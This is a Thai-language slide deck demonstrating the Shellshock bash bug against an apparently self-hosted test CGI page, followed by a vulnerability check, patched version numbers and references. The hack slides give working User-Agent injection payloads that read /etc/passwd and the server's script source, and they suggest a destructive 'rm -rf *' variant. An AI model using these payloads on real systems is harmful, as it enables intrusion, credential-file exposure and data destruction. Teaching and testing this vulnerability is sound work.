SlideShare a Scribd company logo
การทดสอบ SHELLSHOCK
ACCESS
ทดลองเข้า
http://softnix.dyndns.org:8112/cgi-
bin/a.cgi
ประหนึ่งว่าเราเข้าเว็บอะไรซักเว็บน่ะครับ
ก่อน HACK ลง EXTENSION ของ GOOGLE CHROME ชื่อ
MOD HEADER ก่อน
ทาการ HACK ได้แล้วครับโดยการ ปลอม HEADER ของ HTTP USER-
AGENT ให้มี VALUE ดังนี้
Request Header = “User-Agent”
Value = “() { :; }; echo 'Content-Type: text/plain';echo;/bin/cat /etc/passwd”
ลอง RUN อีกครั้ง จะ LIST USER ทั้งหมดที่อยู่ในเครื่อง
ดูว่า /TMP/ มีอะไรบ้าง
Request Header = “User-Agent”
Value = “() { :; }; echo 'Content-Type: text/plain';echo;/usr/bin/find /tmp”
จะ ดู CODE ของ A.CGI ก็สามารถทาได้
Request Header = “User-Agent”
Value = “() { :; }; echo 'Content-Type: text/plain';echo;/bin/cat /var/www/cgi-
bin/a.cgi”
Request Header = “User-Agent”
Value = “() { :; }; echo 'Content-Type: text/plain';echo;/usr/bin/find /tmp”
ส่วนที่เป็นสีแดงคือ command ที่เราอยากให้ run ใน bash ครับ
จะเกิดอะไรขึ้นถ้า เปลี่ยนสีแดงเป็น /bin/rm –rf *
ถ้า permission ถึงอาจทาให้ file หายหมดทั้งระบบได้ เป็นต้นครับ
จบส่วนของการ HACK ครับ
ช่องโหว่นี้มาจาก BASH VERSION ต่ากว่า 3.2
การทดสอบว่า BASH มี BUG SHELLSHOCK หรือไม่ทาได้ดังนี้
• env x='() { :;}; echo vulnerable' bash -c "echo this is a test”
• และผลลัพท์จะแสดงดังนี้ถ้า run แล้วมีคาว่า vulnerable แสดงว่ามี ช่องโหว่นี้เกิดขึ้น
เครื่องที่ PATCH แก้แล้วจะไม่ปรากฎ VULNERABLE และจะมี WORD
ว่า IGNORING FUNCTION DEFINITION ATTEMP
และ version ต้อง มากกว่า 3.2.33.el5.1 ขึ้นไป
เทียบ CODE ก่อนแก้กับหลังแก้เจอ FILE ต่างกัน 1 FILE BASH-3.2-
ENV-INJECT.PATCH
ตัว CODE มี KEYWORD ที่เขียนดักไว้
SITE REFERENCE
• https://rhn.redhat.com/errata/RHSA-2014-1293.html
• บอกถึง version ของ bash ของ redhat 5,6,7 ที่ต้อง update เป็น version 3.2-33, 4.1.2-
15,4.2.45-5 ตามลาดับ
ที่มาของ SOURCE FILE
• http://vault.centos.org/5.10/updates/SRPMS/
FORUM และ WEBBLOG
• https://unix.stackexchange.com/questions/157697/shellshock-why-this-error-
when-testing-for-vulnerability
• https://blog.cloudflare.com/inside-shellshock/
• https://groups.google.com/forum/#!searchin/gnu.bash.bug/shellshock%7Csort:rel
evance/gnu.bash.bug/wB_iM60Yq3s/QWYLrk73U7IJ (community อย่างเป็นทางการของ
bash)
YOUTUBE
• https://www.youtube.com/watch?v=r00RtOb5_K4

More Related Content

More from Chakrit Phain

เปรียบเทียบ RPA Opensource
เปรียบเทียบ  RPA Opensourceเปรียบเทียบ  RPA Opensource
เปรียบเทียบ RPA Opensource
Chakrit Phain
 
PHP Bandwidth Shaping script
PHP Bandwidth Shaping scriptPHP Bandwidth Shaping script
PHP Bandwidth Shaping script
Chakrit Phain
 
PHP Explode & Preg_split Test
PHP Explode & Preg_split TestPHP Explode & Preg_split Test
PHP Explode & Preg_split Test
Chakrit Phain
 
Types of Big Data Analytics
Types of Big Data AnalyticsTypes of Big Data Analytics
Types of Big Data Analytics
Chakrit Phain
 
Genetic Algorithm
Genetic AlgorithmGenetic Algorithm
Genetic Algorithm
Chakrit Phain
 
Machine Learning Algorithm & Anomaly detection 2021
Machine Learning Algorithm & Anomaly detection 2021Machine Learning Algorithm & Anomaly detection 2021
Machine Learning Algorithm & Anomaly detection 2021
Chakrit Phain
 
Text classification With Rapid Miner
Text classification With Rapid MinerText classification With Rapid Miner
Text classification With Rapid Miner
Chakrit Phain
 
Ai optimization Example
Ai optimization ExampleAi optimization Example
Ai optimization Example
Chakrit Phain
 
Zabbix aws
Zabbix awsZabbix aws
Zabbix aws
Chakrit Phain
 
Anomaly Detection Technique
Anomaly Detection TechniqueAnomaly Detection Technique
Anomaly Detection Technique
Chakrit Phain
 
Softnix Anomaly Detection Methods
Softnix Anomaly Detection MethodsSoftnix Anomaly Detection Methods
Softnix Anomaly Detection Methods
Chakrit Phain
 
Neo4j Graph Database และการประยุกตร์ใช้
Neo4j Graph Database และการประยุกตร์ใช้Neo4j Graph Database และการประยุกตร์ใช้
Neo4j Graph Database และการประยุกตร์ใช้
Chakrit Phain
 
Softnix how ml_work_0.1draft
Softnix how ml_work_0.1draftSoftnix how ml_work_0.1draft
Softnix how ml_work_0.1draft
Chakrit Phain
 
Neo4j introduction
Neo4j introductionNeo4j introduction
Neo4j introduction
Chakrit Phain
 
Hierarchical clustering
Hierarchical clusteringHierarchical clustering
Hierarchical clustering
Chakrit Phain
 
Artificial neural nework classification example
Artificial neural nework classification exampleArtificial neural nework classification example
Artificial neural nework classification example
Chakrit Phain
 
Regular expression
Regular expressionRegular expression
Regular expression
Chakrit Phain
 
Syslog-ng Performance
Syslog-ng Performance Syslog-ng Performance
Syslog-ng Performance
Chakrit Phain
 
Configuration management
Configuration managementConfiguration management
Configuration management
Chakrit Phain
 
Social Network Analysis
Social Network AnalysisSocial Network Analysis
Social Network Analysis
Chakrit Phain
 

More from Chakrit Phain (20)

เปรียบเทียบ RPA Opensource
เปรียบเทียบ  RPA Opensourceเปรียบเทียบ  RPA Opensource
เปรียบเทียบ RPA Opensource
 
PHP Bandwidth Shaping script
PHP Bandwidth Shaping scriptPHP Bandwidth Shaping script
PHP Bandwidth Shaping script
 
PHP Explode & Preg_split Test
PHP Explode & Preg_split TestPHP Explode & Preg_split Test
PHP Explode & Preg_split Test
 
Types of Big Data Analytics
Types of Big Data AnalyticsTypes of Big Data Analytics
Types of Big Data Analytics
 
Genetic Algorithm
Genetic AlgorithmGenetic Algorithm
Genetic Algorithm
 
Machine Learning Algorithm & Anomaly detection 2021
Machine Learning Algorithm & Anomaly detection 2021Machine Learning Algorithm & Anomaly detection 2021
Machine Learning Algorithm & Anomaly detection 2021
 
Text classification With Rapid Miner
Text classification With Rapid MinerText classification With Rapid Miner
Text classification With Rapid Miner
 
Ai optimization Example
Ai optimization ExampleAi optimization Example
Ai optimization Example
 
Zabbix aws
Zabbix awsZabbix aws
Zabbix aws
 
Anomaly Detection Technique
Anomaly Detection TechniqueAnomaly Detection Technique
Anomaly Detection Technique
 
Softnix Anomaly Detection Methods
Softnix Anomaly Detection MethodsSoftnix Anomaly Detection Methods
Softnix Anomaly Detection Methods
 
Neo4j Graph Database และการประยุกตร์ใช้
Neo4j Graph Database และการประยุกตร์ใช้Neo4j Graph Database และการประยุกตร์ใช้
Neo4j Graph Database และการประยุกตร์ใช้
 
Softnix how ml_work_0.1draft
Softnix how ml_work_0.1draftSoftnix how ml_work_0.1draft
Softnix how ml_work_0.1draft
 
Neo4j introduction
Neo4j introductionNeo4j introduction
Neo4j introduction
 
Hierarchical clustering
Hierarchical clusteringHierarchical clustering
Hierarchical clustering
 
Artificial neural nework classification example
Artificial neural nework classification exampleArtificial neural nework classification example
Artificial neural nework classification example
 
Regular expression
Regular expressionRegular expression
Regular expression
 
Syslog-ng Performance
Syslog-ng Performance Syslog-ng Performance
Syslog-ng Performance
 
Configuration management
Configuration managementConfiguration management
Configuration management
 
Social Network Analysis
Social Network AnalysisSocial Network Analysis
Social Network Analysis
 

Shell Shock